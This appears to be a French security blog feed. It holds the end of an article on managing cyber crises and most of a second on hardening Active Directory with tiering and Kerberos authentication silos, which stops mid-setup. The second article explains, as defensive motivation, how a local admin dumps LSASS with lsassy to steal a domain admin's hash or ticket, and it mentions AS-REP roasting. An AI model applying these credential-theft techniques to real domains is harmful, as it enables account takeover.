<p>Lors d’une cyberattaque, le vrai risque n’est pas toujours là où on l’attend. La gestion d’une cybercrise engage avant tout l’organisation, les femmes et les hommes qui la composent, ainsi que leur capacité à décider sous pression. Lors d’un récent webinar consacré à la gestion de crise cyber, trois experts sont revenus sur des situations vécues, rappelant les erreurs les plus fréquentes et plusieurs leviers réellement efficaces lorsqu’un incident majeur survient dans des environnements complexes.</p>
<p>Là où nous sommes unanimes :  <strong>ce n’est pas tant l’attaque qui fait la gravité d’une cybercrise, mais la façon dont l’organisation réagit et la gère. Gouvernance, communication, arbitrage et facteur humain deviennent alors déterminants.</strong> Cet article propose une lecture de ces enseignements, afin d’éclairer les organisations confrontées ou susceptibles de l’être à une crise cyber.</p>
<h2 id="heading-pourquoi-une-cybercrise-est-avant-tout-une-crise-humaine">Pourquoi une cybercrise est avant tout une crise humaine</h2>
<p>Une cybercrise ne se limite pas uniquement à la compromission d’un système d’information. Elle bouleverse les équilibres internes, modifie les priorités et met à l’épreuve les individus impliqués. Sous stress aigu, la capacité de raisonnement se contracte : l’attention se focalise sur quelques questions angoissantes, tandis que le reste de la situation disparaît du champ de vision.  En situation d’urgence, les repères disparaissent rapidement. Le stress s’installe, les informations sont partielles, parfois contradictoires, et les décisions doivent être prises dans un temps contraint.</p>
<p><strong>Dans la première heure d’une cybercrise, le principal adversaire n’est pas l’attaquant, mais notre propre cerveau.</strong> Dans ce contexte, les risques ne sont pas uniquement technologiques : les erreurs humaines les plus coûteuses sont souvent invisibles. Il ne s’agit pas nécessairement de fautes techniques ou de non-respect de procédures, mais de biais cognitifs, de bruits, de mauvaises interprétations, de silences organisationnels ou de ruptures dans la circulation de l’information.</p>
<p>Ces fragilités, lorsqu’elles ne sont pas anticipées, amplifient mécaniquement l’impact d’une cybercrise et compliquent la reprise opérationnelle.</p>
<h2 id="heading-les-signaux-faibles-dune-cybercrise-mal-maitrisee">Les signaux faibles d’une cybercrise mal maîtrisée</h2>
<p>Lorsqu’une crise cyber dérape, certains symptômes apparaissent de manière récurrente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768310316802/84fb3ff3-3084-455c-9bdb-f2a7a164bda8.png" alt="Les signaux faibles d'une cybercrise mal maîtrisée" class="image--center mx-auto" /></p>
<p>Ces situations sont bien connues sur le terrain. Une cybercrise est souvent moins dangereuse lorsque les acteurs savent précisément quoi faire, que lorsqu’ils hésitent sur le cadre, les rôles et les priorités.</p>
<h2 id="heading-cellule-de-crise-un-organe-de-decision-pas-un-simple-comite-technique">Cellule de crise : un organe de décision, pas un simple comité technique</h2>
<p>Trop souvent assimilée à un regroupement d’experts techniques, la cellule de crise est en réalité une structure de gouvernance et de décision. Nous préférons rappeler que <strong>la cellule de crise n’est pas une salle d’experts, c’est une tour de contrôle</strong> : elle ne pilote pas chaque action, mais <strong>elle donne le cap, régule le trafic et arbitre les priorités.</strong></p>
<p>Une cellule de crise efficace doit être capable d’articuler expertise technique, compréhension métier et arbitrage stratégique en temps réel. Le problème n’est pas que les organisations ne savent pas quoi faire, mais qu’elles ne sont pas en mesure de le faire quand la pression monte. Une cellule de crise inefficace n’échoue pas par manque d’expertise, mais parce qu’elle ne parvient plus à distinguer ce qui est urgent de ce qui est important.</p>
<p>Nous avons mis en avant plusieurs bonnes pratiques :</p>
<ul>
<li><p><strong>Clarifier les rôles dès l’activation de la crise</strong> : diagnostic, pilotage opérationnel, communication et coordination.</p>
</li>
<li><p><strong>Structurer les flux d’information</strong> : distinguer ce qui relève de l’escalade immédiate, du suivi de situation et du reporting décisionnel.</p>
</li>
<li><p><strong>Appliquer un principe fondamental</strong> : chaque information doit être traitée au bon niveau, et non en fonction de son volume ou de son caractère anxiogène.</p>
</li>
</ul>
<p>Dans les premières heures, nous le savons, une crise n’est pas gérée par ceux qui parlent le plus fort, mais par ceux qui structurent l’information. Une règle simple, mais déterminante lorsque la pression augmente.</p>
<h2 id="heading-communication-de-crise-un-levier-strategique-majeur">Communication de crise : un levier stratégique majeur</h2>
<p>La communication en situation de cybercrise n’est ni secondaire ni accessoire. Elle constitue un pilier central de la réponse à incident.</p>
<p>Trois cercles d’audience doivent être adressés simultanément :</p>
<ol>
<li><p><strong>L’interne immédiat,</strong> composé des équipes directement impliquées dans la gestion de l’incident.</p>
</li>
<li><p><strong>L’interne élargi</strong>, incluant les directions métiers, les fonctions support et les instances de gouvernance.</p>
</li>
<li><p><strong>L’externe,</strong> regroupant clients, partenaires, autorités de régulation et, le cas échéant, médias.</p>
</li>
</ol>
<p>Nous l’avons vu à plusieurs reprises, chaque public appelle un discours spécifique, mais l’ensemble doit rester parfaitement cohérent. Cette cohérence ne s’improvise pas, elle se prépare en amont, à travers des scénarios de crise, des messages travaillés, des canaux identifiés et des rôles clairement établis.</p>
<p>Rappelons qu’en situation de crise :</p>
<ul>
<li><p><strong>Le cerveau ne retient que 3 à 5 messages maximum</strong> sur une période de 20 à 30 secondes.</p>
</li>
<li><p><strong>Le calme transmet la sécurité.</strong></p>
</li>
<li><p><strong>La clarté donne de l’énergie.</strong></p>
</li>
<li><p><strong>La fermeté fixe la direction.</strong></p>
</li>
</ul>
<h2 id="heading-le-facteur-temps-arbitrer-entre-rapidite-et-fiabilite">Le facteur temps : arbitrer entre rapidité et fiabilité</h2>
<p>La gestion d’une cybercrise impose une tension permanente entre vitesse d’action et fiabilité de l’information. Une réponse trop rapide peut conduire à des décisions erronées ; une recherche excessive de certitude peut, à l’inverse, paralyser l’organisation. « Il ne faut pas confondre vitesse et précipitation ». Comme nous l’avons rappelé lors du webinar, <strong>une crise est un marathon, pas un sprint.</strong></p>
<p>Mais attention, un marathon ne se gagne pas à l’accélération permanente, mais à la capacité à gérer son effort, ses relais et ses points de passage.</p>
<p>Trouver le bon équilibre repose sur plusieurs pratiques clés :</p>
<ul>
<li><p><strong>Décider sur la base d’hypothèses raisonnablement validées</strong>, et non de suppositions.</p>
</li>
<li><p><strong>Mettre en place une escalade progressive</strong>, plutôt qu’une logique tout ou rien.</p>
</li>
<li><p><strong>Accepter un certain niveau d’incertitude</strong>, tout en maintenant un cadre décisionnel structuré.</p>
</li>
</ul>
<p>Décider trop vite rassure temporairement, mais augmente le risque d’erreur. Décider trop tard donne l’illusion de prudence, mais fragilise l’organisation. Ces arbitrages sont difficiles, en particulier lorsque la pression interne et externe exige des réponses immédiates. Pourtant, <strong>une décision précipitée peut s’avérer bien plus coûteuse qu’un délai maîtrisé.</strong></p>
<h2 id="heading-enjeux-juridiques-et-reglementaires-une-dimension-indissociable">Enjeux juridiques et réglementaires : une dimension indissociable</h2>
<p>Toute cybercrise révèle des enjeux juridiques et réglementaires. Obligations de notification, engagements contractuels, responsabilités vis-à-vis des autorités ou des clients : ces dimensions ne peuvent être traitées a posteriori. Lorsqu’elle est intégrée trop tard, la fonction juridique devient un facteur de ralentissement. Lorsqu’elle est associée dès le départ, elle sécurise la décision.</p>
<p>La conformité n’est donc pas un sujet annexe : elle fait pleinement partie de la réponse à incident. Cela implique notamment :</p>
<ul>
<li><p><strong>La maîtrise des délais et modalités de notification</strong> aux autorités compétentes.</p>
</li>
<li><p><strong>La préparation de modèles de reporting</strong> adaptés aux différentes parties prenantes.</p>
</li>
<li><p><strong>L’anticipation des impacts</strong> contractuels, financiers et réputationnels.</p>
</li>
</ul>
<p>Rançongiciels, violations de données, attaques par déni de service : les scénarios sont nombreux et leurs conséquences parfois lourdes. Investir dans une démarche de cyber-résilience permet de réduire l’exposition à ces risques, de protéger les actifs numériques critiques et de sécuriser les données sensibles, notamment celles des clients et des partenaires.</p>
<p>Bien en amont de l’incident donc, le cadre juridique impose déjà des obligations claires : mettre en place des mesures de sécurité adaptées, organiser la gouvernance de crise et anticiper les scénarios de violation de données. Lorsque l’attaque survient, <strong>le droit devient un facteur de stabilisation</strong> : il fixe les délais, encadre les décisions et évite que la victime ne bascule, par précipitation ou impréparation, dans une situation de non-conformité. Pensée dès l’origine, la dimension juridique ne ralentit pas la gestion de crise ; elle la sécurise, protège l’organisation et contribue à limiter durablement les impacts opérationnels, financiers et réputationnels.</p>
<h2 id="heading-de-la-crise-subie-a-la-crise-structurante">De la crise subie à la crise structurante</h2>
<p>La différence entre une crise qui s’éteint difficilement et une crise qui devient un levier de transformation repose sur trois piliers fondamentaux :</p>
<ul>
<li><p><strong>La préparation</strong>, avec des processus, des rôles et des scénarios travaillés en amont.</p>
</li>
<li><p><strong>La gouvernance</strong>, assurée par une cellule de crise capable d’arbitrer et de prioriser.</p>
</li>
<li><p><strong>L’organisation humaine</strong>, c’est-à-dire la manière dont les individus communiquent, coopèrent et décident sous contrainte.</p>
</li>
</ul>
<p><strong>La réponse technique est indispensable, mais elle ne suffit jamais à elle seule</strong>. Ce sont les facteurs humains et organisationnels qui déterminent l’issue réelle d’une cybercrise.</p>
<h2 id="heading-conclusion-vers-une-gestion-mature-des-cybercrises">Conclusion : vers une gestion mature des cybercrises</h2>
<p>La gestion d’une cybercrise est un exercice complexe, à la croisée de la cybersécurité, de la gouvernance et de la psychologie. Elle exige une capacité à <strong>décider rationnellement dans un environnement émotionnellement instable, tout en maintenant la cohérence de l’action collective.</strong> Elle révèle rarement des failles inconnues ; elle met surtout en lumière la manière dont une organisation pense, communique et décide sous pression.</p>
<p>Une cybercrise ne se résume ni à des outils, ni à des procédures figées. Elle constitue un processus vivant, qui requiert anticipation, clarté des rôles et maturité organisationnelle. C’est à ce prix que les organisations peuvent transformer une situation critique en opportunité d’apprentissage, de renforcement et de confiance durable.</p>
<p>Comme nous l’avons évoqué et cela restera un élément à retenir : <strong>« La cybersécurité est un verbe, pas un état : elle impose l’action ».</strong></p>
<p>Les réflexions développées ici font écho aux échanges menés lors de notre dernier webinar sur la gestion des cybercrises. <strong>Pour celles et ceux qui souhaitent approfondir ces sujets, retrouvez le replay sur</strong> <a target="_blank" href="https://www.youtube.com/watch?v=PK6ODsgUlFg"><strong>Youtube</strong></a> <strong>!</strong></p>
<p>📢 <strong>Et si vous souhaitez approfondir ce sujet avec nos experts ou vous faire accompagner sur la gestion de crise,</strong> <strong>rendez-vous sur</strong> <a target="_blank" href="https://www.login-securite.com/cert-reponse-a-incident"><strong>notre site</strong></a> <strong>ou</strong> <a target="_blank" href="mailto:contact@login-securite.com"><strong>contactez-nous</strong></a> !</p>
]]></content:encoded></item><item><title><![CDATA[Les silos d’Authentification Active Directory]]></title><description><![CDATA[Introduction
L’un des problèmes principaux dans la sécurisation d’un domaine Active Directory est la dissémination des secrets d’authentification.
Un utilisateur disposant de privilèges d’administration sur une machine est en mesure, par exemple, de ...]]></description><link>https://blog.login-securite.com/les-silos-dauthentification-active-directory</link><guid isPermaLink="true">https://blog.login-securite.com/les-silos-dauthentification-active-directory</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 13 Oct 2025 06:00:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1768312423551/6da51e10-9b23-45e5-9ce6-d20356332327.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>L’un des problèmes principaux dans la sécurisation d’un domaine Active Directory est la <strong>dissémination des secrets d’authentification</strong>.</p>
<p>Un utilisateur disposant de privilèges d’administration sur une machine est en mesure, par exemple, de récupérer les secrets d’authentification (condensat NTLM, tickets Kerberos) qui sont stockés dans le processus LSASS.</p>
<p>Il est également possible d’usurper l’identité d’un utilisateur authentifié via l’injection dans un processus ou la création d’une tâche planifiée.</p>
<p>De fait, si un utilisateur disposant de privilèges importants sur le domaine Active Directory est connecté, ou a été connecté depuis le dernier redémarrage, sur un serveur compromis, un attaquant pourrait être en mesure de récupérer ses secrets d’authentification et donc compromettre le domaine.</p>
<blockquote>
<p>Prenons l’exemple suivant au sein du domaine lab.local :</p>
<ul>
<li><p>L’utilisateur <em>LAB\t0_user</em>, membre du groupe Administrateur du Domaine est connecté sur la machine W10-WKS01;</p>
</li>
<li><p>L’utilisateur <em>LAB\user</em> est Administrateur local de cette machine.</p>
</li>
</ul>
<p>Via l’utilisation de l’outil <em>lsassy</em>, l’utilisateur <em>LAB\user</em> peut récupérer le condensat NT ou le TGT de l’utilisateur LAB\t0_user et donc usurper son identité et ses privilèges au niveau du domaine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759827596571/eeb2208f-a550-4549-bf17-2c53a30eba18.png" alt class="image--center mx-auto" /></p>
<p>Dump du processus lsass</p>
</blockquote>
<p>Pour limiter ce problème, des modèles d’administration doivent être mis en place, en particulier le modèle en Tiers.</p>
<h1 id="heading-le-modele-en-tiers">Le modèle en Tiers</h1>
<p>Avant de rentrer dans le vif du sujet des Silos d’Authentification, un petit rappel sur le modèle en Tiers s’impose.</p>
<p>Une architecture en Tiers est largement recommandée dans les Systèmes d’Information afin de segmenter au mieux les différents niveaux de criticités des actifs.</p>
<p>Microsoft a également recommandé cette architecture pour les domaines Active Directory, afin de répondre à certaines problématiques liées au fonctionnement intrinsèque de l’authentification Windows (enregistrement des secrets, Pass-The-Hash, etc…).</p>
<p>En effet, si un tiers est compromis aucun secret d’authentification d’administrateurs des autres tiers ne peut s’y retrouver empêchant ainsi le déplacement vertical et l’élévation de privilèges dans le domaine.</p>
<p>3 tiers sont recommandés habituellement :</p>
<ul>
<li><p>Le Tiers 0 (<strong>T0</strong>) qui contient l’ensemble des serveurs critiques : Contrôleurs de Domaine, PKI, etc…</p>
</li>
<li><p>Le Tiers 1 (<strong>T1</strong>) qui contient les autres serveurs du SI. Ce tiers peut être découpé en plusieurs niveaux en fonction des besoins</p>
</li>
<li><p>Le Tiers 2 (<strong>T2</strong>) qui contient les autres ressources du SI, en particulier les postes de travail</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759827641957/a9b9e867-f345-4a56-8669-8c62de30d5df.png" alt="Segmentation du modèle en Tiers recommandé par Microsoft" class="image--center mx-auto" /></p>
<p><em>Segmentation du modèle en Tiers recommandé par Microsoft</em></p>
<p>Ce modèle passe par deux éléments afin de cloisonner les tiers :</p>
<ul>
<li>Des <strong>restrictions de connexions</strong> afin d’interdire aux administrateurs d’un tiers de se connecter sur les actifs d’un tiers différent. Cet article détaille <strong><em>une</em></strong> méthode pour les mettre en place.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759827907673/5a6a787d-dcb8-4a84-a708-863d49d9baa9.png" alt class="image--center mx-auto" /></p>
<p><em>Restrictions de connexions recommandées</em></p>
<ul>
<li><p>De la <strong>délégation sur les objets du domaine</strong> afin de limiter les permissions des administrateurs de chaque tiers et empêcher des chemins d’attaque.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759827742279/46fc84e8-fd61-4356-ba3e-6e80d7ea0536.png" alt="Modèle de délégation à appliquer" class="image--center mx-auto" /></p>
</li>
</ul>
<p><em>Modèle de délégation à appliquer</em></p>
<p>Afin de mettre en place les restrictions d’accès, deux méthodes principales existent :</p>
<ul>
<li><p>Utilisation des GPO pour restreindre les privilèges d’authentification sur les machines du domaine ;</p>
</li>
<li><p><strong>Utilisation des silos d’authentification</strong> (Authentication Policy et des Authentication Policy Silos) pour contrôler les demandes d’accès sur les machines du domaine.</p>
</li>
</ul>
<p>Dans un premier temps, nous allons identifier les avantages et inconvénients des deux méthodes</p>
<p>Puis nous allons rentrer spécifiquement dans les composants des silos d’authentification avant de voir leurs mises en œuvre.</p>
<h1 id="heading-gpo-vs-authentication-policy"><strong>GPO vs Authentication Policy</strong></h1>
<h2 id="heading-gpo">GPO</h2>
<p>Les restrictions de connexions par GPO utilisent les… GPO afin de mettre en place les restrictions sur les comptes machine.</p>
<p>Ces restrictions sont basées sur 5 types d’accès et privilèges distincts :</p>
<ul>
<li><p>Connexion interactive : <em>SeInteractiveLogonRight</em> et <em>SeDenyInteractiveLogonRight</em></p>
</li>
<li><p>Connexion en tant que compte de service : <em>SeServiceLogonRight</em> et <em>SeDenyServiceLogonRight</em></p>
</li>
<li><p>Connexion en tant que tâches planifiées : <em>SeBatchLogonRight</em> et <em>SeDenyBatchLogonRight</em></p>
</li>
<li><p>Connexion via RDS : <em>SeRemoteInteractiveLogonRight</em> et <em>SeDenyRemoteInteractiveLogonRight</em></p>
</li>
<li><p>Accès à la machine via le réseau : <em>SeNetworkLogonRight</em> et <em>SeDenyNetworkLogonRight</em></p>
</li>
</ul>
<p>Une configuration correcte par GPO permet de grandement limiter les authentifications, mais comporte plusieurs écueils :</p>
<ul>
<li><p>Le fonctionnement intrinsèque des GPO avec la possibilité de les surcharger, d’écraser les paramètres et de bloquer l’héritage peuvent rendre complexe l’implémentation et l’administration ;</p>
</li>
<li><p>Dans certains cas, un administrateur d’un Tiers peut modifier les GPO et ainsi supprimer les restrictions ;</p>
</li>
<li><p>L’administrateur d’une machine peut modifier les privilèges, sans passer par les GPO, même temporairement, pour diminuer le niveau de sécurité de la machine ;</p>
</li>
</ul>
<p>De plus, dans le cadre d’une authentification NTLM, la vérification des privilèges se fait après l’authentification. Un attaquant peut ainsi être en mesure de récupérer des secrets d’authentification (défi/réponse, mot de passe…) si un administrateur tente de se connecter à la machine via ce protocole.</p>
<p><strong>Lors de l’utilisation du protocole Kerberos, même si l’autorisation est réalisée après l’authentification, les secrets ne seront pas stocké en mémoire sur la machine. C’est pourquoi l’utilisation du groupe Protected Users est fortement recommandée afin d’empêcher l’utilisation du protocole NTLM pour l’authentification des comptes à privilège</strong>.</p>
<h2 id="heading-silos-dauthentification">Silos d’Authentification</h2>
<p>Les Silos d’Authentification, quant à eux, reposent uniquement sur des fonctionnalités du protocole Kerberos (et des objets LDAP) afin de définir si un utilisateur peut s’authentifier sur une machine ou accéder à un service. En particulier, les implémentations suivantes sont utilisées :</p>
<ul>
<li><p>Le <em>Kerberos Armoring</em> ;</p>
</li>
<li><p>Les <em>revendications</em> (Claims) ;</p>
</li>
<li><p>L’<em>authentification Composée</em>.</p>
</li>
</ul>
<p>Le fonctionnement de ces implémentations sera détaillé dans les sections suivantes.</p>
<p>Cette méthode permet de s’affranchir de l’administration et des failles liées aux GPO.</p>
<p>De plus, ces composants étant limités au protocole Kerberos, le protocole NTLM ne peut (et ne doit) pas être utilisé pour les authentifications des Administrateurs.</p>
<p>La mise en place des Silos d’Authentification demande néanmoins de prendre en compte certaines contraintes.</p>
<p>En particulier, il peut être assez complexe de les mettre en œuvre en fonction du système d’information. Une bonne maitrise de l’Active Directory est donc un prérequis essentiel. Il est important d’identifier précisément les cas d’usage (support, administration des serveurs) afin de vérifier s’ils sont compatibles avec les silos d’authentification.</p>
<p>En cas de mauvaise prise en compte des besoins, des connexions légitimes peuvent être bloquées, ce qui peut avoir un impact sur la production.</p>
<p>Par exemple, si un prestataire externe utilise une machine hors du domaine et un VPN pour réaliser l’administration des serveurs d’un silo, la connexion ne sera plus possible. Il faudra ainsi trouver une solution de contournement (machine physique, bastion…).</p>
<p>De plus, cela rajoute une couche dans l’administration d’un domaine et il est nécessaire de documenter précisément l’exploitation (ajout d’objets dans le silo, revue des événements) afin d’assurer un niveau de sécurité adéquat.</p>
<p>Les silos, à eux seuls, ne sont pas suffisant et ils doivent être combiné notamment avec des machines d’administration sécurisées (PAW), LAPS ainsi que de la segmentation et du filtrage réseau.</p>
<p>Un modèle en Tiers, configuré avec les GPO et les Silos d’Authentification, peut également être utilisé afin de garantir une défense en profondeur.</p>
<h1 id="heading-composants-principaux-des-silos-dauthentification">Composants principaux des Silos d’Authentification</h1>
<p>Comme indiqué précédemment, différents composants sont utilisés afin de faire fonctionner les silos d’authentification. Les sections suivantes permettent d’expliquer le fonctionnement et le rôle de chacun d’entre eux dans l’implémentation des silos.</p>
<h2 id="heading-rappels-sur-kerberos">Rappels sur Kerberos</h2>
<p>Le protocole Kerberos (voir cet <a target="_blank" href="https://beta.hackndo.com/kerberos/">article</a> sur le blog hackndo pour une explication détaillée) est au coeur des silos d’Authentification et il s’agit d’un des principaux protocole d’authentification dans un domaine Active Directory.</p>
<p>Néanmoins, afin de comprendre certains composants, un rappel rapide est nécessaire.</p>
<p>Le protocole Kerberos est l’un des principaux protocoles d’authentification dans un domaine Active Directory. Il permet notamment la mise en place du Single Sign-On, afin que les utilisateurs n’aient pas besoin de renseigner leurs identifiants pour accéder à chaque ressource.</p>
<p>3 entités sont requises :</p>
<ul>
<li><p>Le client - l’entité (utilisateur, ordinateur, service) qui souhaite accéder à un service (ordinateur ou fichier par exemple)</p>
</li>
<li><p>Le KDC (Key Distribution Center) - L’entité qui va gérer l’authentification (vérification des identifiants)</p>
</li>
<li><p>Un service - l’entité à laquelle le client souhaite accéder</p>
</li>
</ul>
<p>Pour éviter que les mots de passe transitent sur le réseau, ce protocole se base sur l’échange de Ticket. On retrouve deux tickets différents :</p>
<ul>
<li><p>Le TGT (Ticket Granting ticket) - Ce ticket est fourni au client lors de la première phase d’authentification auprès du KDC. Il est par la suite utilisé pour demander l’accès aux services via un Service Ticket (ST)</p>
</li>
<li><p>Le Service Ticket - Ce ticket est fourni au client par le KDC lorsque ce dernier veut accéder à un service. Il est par la suite transmis au service afin de prouver l’authentification et l’identité de l’utilisateur</p>
</li>
</ul>
<p>Les échanges suivants prennent place lorsqu’un client s’authentifie et demande à accéder à un service :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759827983945/16be9f93-83c4-48fa-8170-0e4356e220b1.png" alt class="image--center mx-auto" /></p>
<p><em>Échanges lors d’une authentification Kerberos</em></p>
<ol>
<li><p><em>AS_REQ</em> : Le client s’authentifie sur une machine et demande un TGT au KDC</p>
</li>
<li><p><em>AS_REP</em> : Si les données d’authentification sont correctes, le KDC retourne un TGT à l’utilisateur</p>
</li>
<li><p><em>TGS_REQ</em> : Le client veut accéder à un service, il demande donc au KDC un ticket de service en utilisant comme preuve d’authentification son TGT.</p>
</li>
<li><p><em>TGS_REP</em> : Le KDC retourne un Ticket de Service pour l’utilisateur</p>
</li>
<li><p><em>AP_REQ</em> : Le client présente son Ticket de Service au service cible afin de prouver son authentification</p>
</li>
<li><p><em>AP_REP</em> : Le service valide ou non l’accès de l’utilisateur</p>
</li>
</ol>
<h2 id="heading-prerequis">Prérequis</h2>
<p>Avant de rentrer plus en avant dans le détail, il est nécessaire d’évoquer les différents prérequis pour pouvoir utiliser les Silos d’Authentification.</p>
<p>Il faut que le <strong>Niveau Fonctionnel du domaine</strong> soit d’au moins <strong>2012R2</strong>.</p>
<p>Il est également important de prendre en compte les points suivants :</p>
<ul>
<li><p>Les Silos ne fonctionnent pas pour les machines Linux intégrées au domaine ;</p>
</li>
<li><p>Les Silos ne fonctionnent pas pour les utilisateurs d'une autre forêt ;</p>
</li>
</ul>
<p>Le kerberos armoring, les revendications et l’authentification composée ne fonctionne que sur les postes de travail à partir de Windows 8 et sur les serveurs à partir de 2012.</p>
<h2 id="heading-authentication-policy">Authentication Policy</h2>
<p>Les <em>Authentication Policies</em> sont des objets permettant de définir les propriétés des tickets Kerberos et les contrôles d'accès appliqués sur les objets d'un silo.</p>
<p>Il est notamment possible de définir :</p>
<ul>
<li><p>La durée de vie du TGT ;</p>
</li>
<li><p>Les critères d’authentification pour les comptes, les comptes de services et les comptes machine.</p>
</li>
</ul>
<p>Trois types d'objets peuvent être couverts par une Authentication Policy :</p>
<ul>
<li><p>Objets <em>User</em>  :</p>
<ul>
<li>Il est possible de définir depuis et vers quelles machines l’utilisateur peut s’authentifier</li>
</ul>
</li>
<li><p>Objets "<em>Compte de service</em>" :</p>
<ul>
<li><p>Comprend les MSA, gMSA, dMSA</p>
</li>
<li><p>Il est possible de définir auprès de quelle(s) machine(s) les comptes de service peuvent être utilisés</p>
</li>
</ul>
</li>
<li><p>Objets <em>Computer</em> :</p>
<ul>
<li>Il est possible de définir quels sont les utilisateurs qui peuvent accéder à un service qui est lancé sous le contexte du compte machine.</li>
</ul>
</li>
</ul>
<p>Avec ces différents attributs, les administrateurs peuvent contrôler et limiter précisément l’authentification des utilisateurs dans un silo. Ce qui permet donc de réduire grandement la dissémination des secrets d’authentification.</p>
<h2 id="heading-authentication-policy-silos">Authentication Policy Silos</h2>
<p>Ce type d’objet est tout simplement un conteneur permettant de faire le lien entre une <em>Authentication Policy</em> et les utilisateurs, comptes de services et machines d’un silo.</p>
<h2 id="heading-kerberos-armoring">Kerberos Armoring</h2>
<p>Lors de certains échanges Kerberos, certains “blocs” sont chiffrés uniquement avec le secret du compte qui s’authentifie.</p>
<p>C’est par exemple le cas du bloc <em>pA-ENC-TIMESTAMP</em> qui est directement chiffré avec le secret du compte.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828021050/e93b6f34-5c47-4725-bb15-31638e664267.png" alt class="image--center mx-auto" /></p>
<p><em>Bloc pA-ENC-TIMESTAMP d’un échange AS-RE</em>P</p>
<p>En cas de récupération de cette échange (ou si la préauthentification est désactivée pour le compte) il est donc possible de réaliser une attaque par force brute sur ces blocs et potentiellement récupérer le mot de passe du l’utilisateur. C’est par exemple le cas de l’attaque <em>AS-REP Roasting</em>.</p>
<p>Le <em>Kerberos Armoring</em> permet de répondre à cette problématique en ajoutant une couche de chiffrement supplémentaire, utilisant en plus du secret du compte qui s’authentifie, celui de la machine vers lequel le compte s’authentifie.</p>
<p>Dans un échange <em>AS_REQ</em> utilisant du Kerberos Armoring, le bloc <em>pA-ENC-TIMESTAMP</em> est remplacé par un champ <em>pA-PX-FAST</em> contenant 3 champs :</p>
<ul>
<li><p><em>armor</em>: Indiquant le type de blindage et contenant généralement le TGT de la machine d’où provient l’authentification</p>
</li>
<li><p>r<em>eq-checksum</em> : Un checksum pour vérifier l’intégrité de la requête</p>
</li>
<li><p><em>enc-fast-req</em> : Contient les données d’authentification</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828036768/91da5891-3535-4fc7-a687-d8d137cf7d6d.png" alt class="image--center mx-auto" /></p>
<p><em>Bloc pA-FX-FAST</em></p>
<p>L’objectif est donc double :</p>
<ul>
<li><p>Ajouter de la sécurité empêchant des attaques hors-ligne sur les échanges Kerberos ;</p>
</li>
<li><p>Permettre au KDC de savoir depuis quelle machine l’utilisateur s’authentifie.</p>
</li>
</ul>
<h2 id="heading-revendication-kerberos">Revendication Kerberos</h2>
<p>Les revendications (Claims) sont des chaines de caractères et elles sont ajoutées lors des échanges Kerberos TGS-REP lors de l’authentification d’un objet. Elles peuvent être utilisées afin de définir des règles de contrôles d’accès.</p>
<p>On peut, par exemple, retrouver la valeur dans le champ <em>Client Claims Info</em> :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759828053161/64d90dc7-6f6f-4f8a-bcb0-36ee1af02bf8.png" alt class="image--center mx-auto" /></p>
<p><em>Revendication de l’utilisateur</em></p>
<p>On remarque une revendication Kerberos avec la valeur “T0”, indiquant que notre utilisateur fait partie du silo T0.</p>
<p>On retrouve différents types de revendications possibles au niveau d’un domaine Active Directory :</p>
<ul>
<li><p><em>AD</em> : La revendication est générée à partir d'un attribut LDAP (par exemple l’attribut <em>description</em>)</p>
</li>
<li><p><em>Certificat</em> : La revendication est basée sur un attribut d'un certificat X.509</p>
</li>
<li><p><em>TransformPolicy</em> : La revendication est basée sur une <em>Claims Transform Rules</em> pour traduire une revendication venant d'une autre forêt</p>
</li>
<li><p><em>Constructed</em> : La revendication est générée automatiquement. Actuellement il n’existe que les revendications Construted de type <em>AuthenticationSilo.</em> <strong>Ces dernières sont utilisées par les Authentication Policy pour autoriser ou non l’accès à un compte.</strong></p>
</li>
</ul>
<h2 id="heading-lauthentification-composee">L’authentification composée</h2>
<p>Lors de l’authentification Kerberos, les données d’autorisation de l’utilisateur sont inclues dans le PAC. Cette structure contient, entre autres, le SID de l’utilisateur ainsi que le SID des groupes auxquels il appartient.</p>
<p>Les contrôles d’accès se basent sur ces informations.</p>
<p>L’authentification composée reprend l’ensemble des composants principaux détaillées précédemment pour inclure les données d’autorisation de la machine sur laquelle l’utilisateur est connecté en plus de ses propres données.</p>
<p>Cela permet donc de mettre en place des ACE basées sur ces nouvelles données et rendre la gestion des accès encore plus granulaire.</p>
<p>Par exemple, il est possible de définir que les comptes avec la revendication “T0” peuvent s’authentifier sur et depuis les machines ayant également une revendication “T0”.</p>
<h1 id="heading-mise-en-place">Mise en place</h1>
<p>Comme expliqué précédemment, il est possible de créer des politiques d’accès différentes en fonction des types d’objets.</p>
<ul>
<li><p>Pour les objets utilisateur :</p>
<ul>
<li><p>Auprès de quelles machines les utilisateurs peuvent s’authentifier</p>
</li>
<li><p>Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte utilisateur</p>
</li>
</ul>
</li>
<li><p>Pour les comptes de service :</p>
<ul>
<li><p>Auprès de quelles machines les comptes de service peuvent s’authentifier</p>
</li>
<li><p>Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte de service</p>
</li>
</ul>
</li>
<li><p>Pour les comptes machine :</p>
<ul>
<li>Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte machine</li>
</ul>
</li>
</ul>
<p>Les sections ci-dessous détaillent la mise en place d’un silo d’authentification pour la connexion des utilisateurs sur les machines d’un tiers spécifique, le tiers 0 dans cet article. Les autres configurations reposant sur le même principe, elles ne seront pas détaillées.</p>
<h2 id="heading-configuration-des-prerequis">Configuration des prérequis</h2>
<h3 id="heading-activation-au-niveau-des-controleurs-de-domaine-dc">Activation au niveau des Contrôleurs de Domaine (DC)</h3>
<p>En premier lieu, il est nécessaire d’activer le support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des contrôleurs de domaine.</p>
<p>Cela se fait via la GPO suivante :</p>
